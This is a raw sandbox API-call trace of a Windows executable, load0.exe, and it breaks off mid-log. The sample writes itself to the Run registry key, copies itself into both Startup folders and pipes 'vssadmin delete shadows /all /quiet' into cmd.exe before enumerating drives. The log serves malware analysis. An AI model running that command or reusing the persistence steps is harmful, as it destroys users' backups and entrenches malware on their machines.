[0121.029] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0121.029] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0121.029] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0121.029] lstrlenW (lpString="kernel32.dll") returned 12 [0121.029] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dee30 | out: hHeap=0x5a0000) returned 1 [0121.029] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0121.030] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5deca0 | out: hHeap=0x5a0000) returned 1 [0121.030] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x2051020 | out: hHeap=0x5a0000) returned 1 [0121.035] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0820 [0121.035] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5ded68 [0121.036] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ded68, Size=0x40) returned 0x5b2188 [0121.036] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b2188, Size=0x80) returned 0x5e2980 [0121.036] lstrlenW (lpString="C:\\WINDOWS\\System32\\load0.exe") returned 29 [0121.036] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0121.036] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x5c) returned 0x5b1b48 [0121.036] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0xf8c) returned 0x0 [0121.036] RegSetValueExW (in: hKey=0xf8c, lpValueName="load0.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\load0.exe", cbData=0x3a | out: lpData="C:\\WINDOWS\\System32\\load0.exe") returned 0x0 [0121.036] RegCloseKey (hKey=0xf8c) returned 0x0 [0121.036] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b1b48 | out: hHeap=0x5a0000) returned 1 [0121.036] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0121.036] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e2980 | out: hHeap=0x5a0000) returned 1 [0121.036] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x644ed0 [0121.037] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x654ed8 [0121.037] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0820 [0121.037] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5ded68 [0121.037] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ded68, Size=0x40) returned 0x5b2410 [0121.037] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b2410, Size=0x80) returned 0x5e26d8 [0121.037] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e26d8, Size=0x100) returned 0x5ae298 [0121.037] lstrlenW (lpString="") returned 0 [0121.037] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0121.037] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8c) returned 0x5b1080 [0121.037] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0xf8c) returned 0x0 [0121.037] RegQueryValueExW (in: hKey=0xf8c, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x654ed8, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x654ed8*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0121.037] RegCloseKey (hKey=0xf8c) returned 0x0 [0121.038] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b1080 | out: hHeap=0x5a0000) returned 1 [0121.038] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0121.038] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8c) returned 0x5b1080 [0121.038] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0xf90) returned 0x0 [0121.039] RegQueryValueExW (in: hKey=0xf90, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x654ed8, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0121.039] RegCloseKey (hKey=0xf90) returned 0x0 [0121.039] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b1080 | out: hHeap=0x5a0000) returned 1 [0121.039] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0121.039] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0121.039] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ae298 | out: hHeap=0x5a0000) returned 1 [0121.039] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe", lpDst=0x644ed0, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe") returned 0x58 [0121.039] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x654ed8 | out: hHeap=0x5a0000) returned 1 [0121.040] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x644ed0 | out: hHeap=0x5a0000) returned 1 [0121.041] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x205f020 [0121.044] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0820 [0121.044] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5dec00 [0121.044] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0940 [0121.044] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0940, Size=0x20) returned 0x5dee30 [0121.044] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0121.044] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0121.044] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0121.044] lstrlenW (lpString="kernel32.dll") returned 12 [0121.044] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dec00 | out: hHeap=0x5a0000) returned 1 [0121.044] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0121.044] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dee30 | out: hHeap=0x5a0000) returned 1 [0121.044] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\load0.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\load0.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf90 [0121.044] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf94 [0121.267] ReadFile (in: hFile=0xf90, lpBuffer=0x205f020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x205f020*, lpNumberOfBytesRead=0x19fd90*=0x3e600, lpOverlapped=0x0) returned 1 [0121.276] WriteFile (in: hFile=0xf94, lpBuffer=0x205f020*, nNumberOfBytesToWrite=0x3e600, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x205f020*, lpNumberOfBytesWritten=0x19fd90*=0x3e600, lpOverlapped=0x0) returned 1 [0121.280] ReadFile (in: hFile=0xf90, lpBuffer=0x205f020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x205f020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0121.280] CloseHandle (hObject=0xf94) returned 1 [0121.338] CloseHandle (hObject=0xf90) returned 1 [0121.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0940 [0121.339] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0940, Size=0x20) returned 0x5deca0 [0121.339] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0820 [0121.339] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5deb88 [0121.339] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0121.339] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0121.339] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0121.339] lstrlenW (lpString="kernel32.dll") returned 12 [0121.339] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5deb88 | out: hHeap=0x5a0000) returned 1 [0121.339] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0121.339] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5deca0 | out: hHeap=0x5a0000) returned 1 [0121.339] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x205f020 | out: hHeap=0x5a0000) returned 1 [0121.355] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x644ed0 [0121.355] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x654ed8 [0121.355] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0820 [0121.355] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5deb88 [0121.355] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deb88, Size=0x40) returned 0x5b2188 [0121.355] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b2188, Size=0x80) returned 0x5e2980 [0121.355] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e2980, Size=0x100) returned 0x5ae298 [0121.356] lstrlenW (lpString="") returned 0 [0121.356] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0121.356] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8c) returned 0x5b1080 [0121.356] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0xf90) returned 0x0 [0121.356] RegQueryValueExW (in: hKey=0xf90, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x654ed8, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0121.356] RegCloseKey (hKey=0xf90) returned 0x0 [0121.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b1080 | out: hHeap=0x5a0000) returned 1 [0121.356] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0121.356] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0121.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ae298 | out: hHeap=0x5a0000) returned 1 [0121.356] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe", lpDst=0x644ed0, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe") returned 0x47 [0121.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x654ed8 | out: hHeap=0x5a0000) returned 1 [0121.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x644ed0 | out: hHeap=0x5a0000) returned 1 [0121.357] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x2052020 [0121.359] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0940 [0121.359] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0940, Size=0x20) returned 0x5dee08 [0121.359] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0820 [0121.359] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5dee30 [0121.359] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0121.359] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0121.360] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0121.360] lstrlenW (lpString="kernel32.dll") returned 12 [0121.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dee08 | out: hHeap=0x5a0000) returned 1 [0121.360] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0121.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dee30 | out: hHeap=0x5a0000) returned 1 [0121.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\load0.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\load0.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf90 [0121.360] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf94 [0121.432] ReadFile (in: hFile=0xf90, lpBuffer=0x2052020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2052020*, lpNumberOfBytesRead=0x19fd90*=0x3e600, lpOverlapped=0x0) returned 1 [0121.443] WriteFile (in: hFile=0xf94, lpBuffer=0x2052020*, nNumberOfBytesToWrite=0x3e600, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2052020*, lpNumberOfBytesWritten=0x19fd90*=0x3e600, lpOverlapped=0x0) returned 1 [0121.446] ReadFile (in: hFile=0xf90, lpBuffer=0x2052020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2052020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0121.446] CloseHandle (hObject=0xf94) returned 1 [0121.451] CloseHandle (hObject=0xf90) returned 1 [0121.451] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0940 [0121.451] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0940, Size=0x20) returned 0x5debb0 [0121.451] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0820 [0121.451] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5dee08 [0121.451] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0121.451] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0121.451] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0121.452] lstrlenW (lpString="kernel32.dll") returned 12 [0121.452] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dee08 | out: hHeap=0x5a0000) returned 1 [0121.452] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0121.452] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5debb0 | out: hHeap=0x5a0000) returned 1 [0121.452] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x2052020 | out: hHeap=0x5a0000) returned 1 [0121.456] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x624ec0 | out: hHeap=0x5a0000) returned 1 [0121.456] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x634ec8 | out: hHeap=0x5a0000) returned 1 [0121.458] lstrlenW (lpString="%windir%\\System32") returned 17 [0121.458] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b1fd8 | out: hHeap=0x5a0000) returned 1 [0121.458] lstrlenW (lpString="%appdata%") returned 9 [0121.458] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ded90 | out: hHeap=0x5a0000) returned 1 [0121.458] lstrlenW (lpString="%sh(Startup)%") returned 13 [0121.458] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dedb8 | out: hHeap=0x5a0000) returned 1 [0121.458] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0121.458] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b2068 | out: hHeap=0x5a0000) returned 1 [0121.458] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0940 [0121.458] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0940, Size=0x20) returned 0x5ded68 [0121.458] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ded68, Size=0x40) returned 0x5b1fd8 [0121.458] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b1fd8, Size=0x80) returned 0x5e2e48 [0121.458] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e09d0 [0121.458] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e09d0, Size=0x20) returned 0x5dec00 [0121.458] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1fffc) returned 0x624ec0 [0121.459] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x644ec8 [0121.459] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x654ed0 [0121.459] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0820 [0121.459] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5dedb8 [0121.459] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dedb8, Size=0x40) returned 0x5b1fd8 [0121.459] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b1fd8, Size=0x80) returned 0x5e27e8 [0121.459] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e27e8, Size=0x100) returned 0x5ae298 [0121.459] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0121.459] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ae298 | out: hHeap=0x5a0000) returned 1 [0121.459] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x644ec8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0121.459] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x654ed0 | out: hHeap=0x5a0000) returned 1 [0121.459] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x644ec8 | out: hHeap=0x5a0000) returned 1 [0121.460] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0xf94, hWritePipe=0x19fd54*=0xf98) returned 1 [0121.460] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0xf9c, hWritePipe=0x19fdc4*=0xfa0) returned 1 [0121.460] SetHandleInformation (hObject=0xf98, dwMask=0x1, dwFlags=0x0) returned 1 [0121.461] SetHandleInformation (hObject=0xf9c, dwMask=0x1, dwFlags=0x0) returned 1 [0121.461] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf94, hStdOutput=0xfa0, hStdError=0xfa0), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0xfa8, hThread=0xfa4, dwProcessId=0x1be4, dwThreadId=0x1be8)) returned 1 [0122.309] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0122.309] WriteFile (in: hFile=0xf98, lpBuffer=0x5e2e48*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x5e2e48*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0122.309] CloseHandle (hObject=0xfa8) returned 1 [0122.309] CloseHandle (hObject=0xfa4) returned 1 [0122.309] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x624ec0 | out: hHeap=0x5a0000) returned 1 [0122.311] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0122.311] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e2e48 | out: hHeap=0x5a0000) returned 1 [0122.311] lstrlenW (lpString="%comspec%") returned 9 [0122.311] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dec00 | out: hHeap=0x5a0000) returned 1 [0122.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa4 [0122.332] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e0820 [0122.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5e0820, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa8 [0122.333] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b41c8 [0122.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5b41c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb0 [0122.334] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e09d0 [0122.334] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e09d0, Size=0x20) returned 0x5ded68 [0122.334] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ded68, Size=0x40) returned 0x5b1fd8 [0122.334] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0122.334] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xd0) returned 0x5bcf10 [0122.334] GetLogicalDrives () returned 0x4 [0122.334] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10014) returned 0x624ec0 [0122.335] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0850 [0122.335] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0850, Size=0x20) returned 0x5ded18 [0122.335] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ded18, Size=0x40) returned 0x5b2068 [0122.335] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b2068, Size=0x80) returned 0x5e2dc0 [0122.335] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e2dc0, Size=0x100) returned 0x5ae298 [0122.335] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ae298, Size=0x200) returned 0x623848 [0122.335] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x623848, Size=0x400) returned 0x623848 [0122.335] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x623848, Size=0x800) returned 0x5e3278 [0122.335] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3278, Size=0x1000) returned 0x5e3278 [0122.335] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x634ee0 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0940 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e09d0 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b40d8 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e0a18 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b40e8 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0850 [0122.336] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b40e8, Size=0x8) returned 0x5b4068 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0970 [0122.336] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4068, Size=0x10) returned 0x5e0c40 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0c28 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0bb0 [0122.336] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0c40, Size=0x20) returned 0x5ded68 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0bf8 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b41a8 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e0d00 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e0b80 [0122.336] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ded68, Size=0x40) returned 0x5b2068 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e0ad8 [0122.336] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e0bc8 [0122.336] 